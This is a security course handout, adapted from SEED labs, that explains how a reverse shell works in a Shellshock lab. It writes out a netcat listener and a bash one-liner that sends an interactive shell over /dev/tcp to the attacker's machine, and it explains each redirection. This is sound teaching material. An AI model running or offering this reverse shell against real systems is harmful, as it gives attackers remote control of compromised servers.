COS430 – Project Deliverable 2 – Guidelines on Reverse Shell

Note: The materials presented in this project are inspired by and partially taken from SEED labs, with permission from the author, Dr. Du.

Guidelines on Reverse Shell:

The key idea of reverse shell is to redirect its standard input, output, and error devices to a network connection, so the shell gets its input from the connection, and prints out its output also to the connection. At the other end of the connection is a program run by the attacker; the program simply displays whatever comes from the shell at the other end and sends whatever is typed by the attacker to the shell, over the network connection.

A commonly used program by attackers is `netcat`, which, if running with the "`-l`" option, becomes a TCP server that listens for a connection on the specified port. This server program basically prints out whatever is sent by the client and sends to the client whatever is typed by the user running the server. In the following experiment, `netcat` (`nc` for short) is used to listen for a connection on port `9090` (let us focus only on the first line).

```
Attacker(10.0.2.6):$ nc -nv -l 9090      ← Waiting for reverse shell
Listening on 0.0.0.0 9090
Connection received on 10.0.2.5 39452
Server(10.0.2.5):$          ← Reverse shell from 10.0.2.5.
Server(10.0.2.5):$ ifconfig
ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>    mtu 1500
        inet 10.0.2.5    netmask 255.255.255.0    broadcast 10.0.2.255
        ...
```

The above `nc` command will block, waiting for a connection. We now directly run the following bash program on the Server machine (`10.0.2.5`) to emulate what attackers would run after compromising the server via the Shellshock attack. This bash command will trigger a TCP connection to the attacker machine's port `9090`, and a reverse shell will be created. We can see the shell prompt from the above result, indicating that the shell is running on the Server machine; we can type the `ifconfig` command to verify that the IP address is indeed `10.0.2.5`, the one belonging to the Server machine. Here is the bash command:

```
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
```

The above command represents the one that would normally be executed on a compromised server. It is quite complicated, and we give a detailed explanation in the following:

- "`/bin/bash -i`": The option `i` stands for interactive, meaning that the shell must be interactive (must provide a shell prompt).

- "`> /dev/tcp/10.0.2.6/9090`": This causes the output device (`stdout`) of the shell to be redirected to the TCP connection to `10.0.2.6`'s port `9090`. In `Unix` systems, `stdout`'s file descriptor is `1`.

- "`0<&1`": File descriptor `0` represents the standard input device (`stdin`). This option tells the system to use the standard output device as the standard input device. Since `stdout` is already redirected to the TCP connection, this option basically indicates that the shell program will get its input from the same TCP connection.

- "`2>&1`": File descriptor `2` represents the standard error `stderr`. This causes the error output to be redirected to `stdout`, which is the TCP connection.

In summary, the command "`/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1`" starts a `bash` shell on the server machine, with its input coming from a TCP connection, and output going to the same TCP connection.

In our experiment, when the `bash` shell command is executed on `10.0.2.5`, it connects back to the `netcat` process started on `10.0.2.6`. This is confirmed via the "`Connection from 10.0.2.5 ...`" message displayed by `netcat`.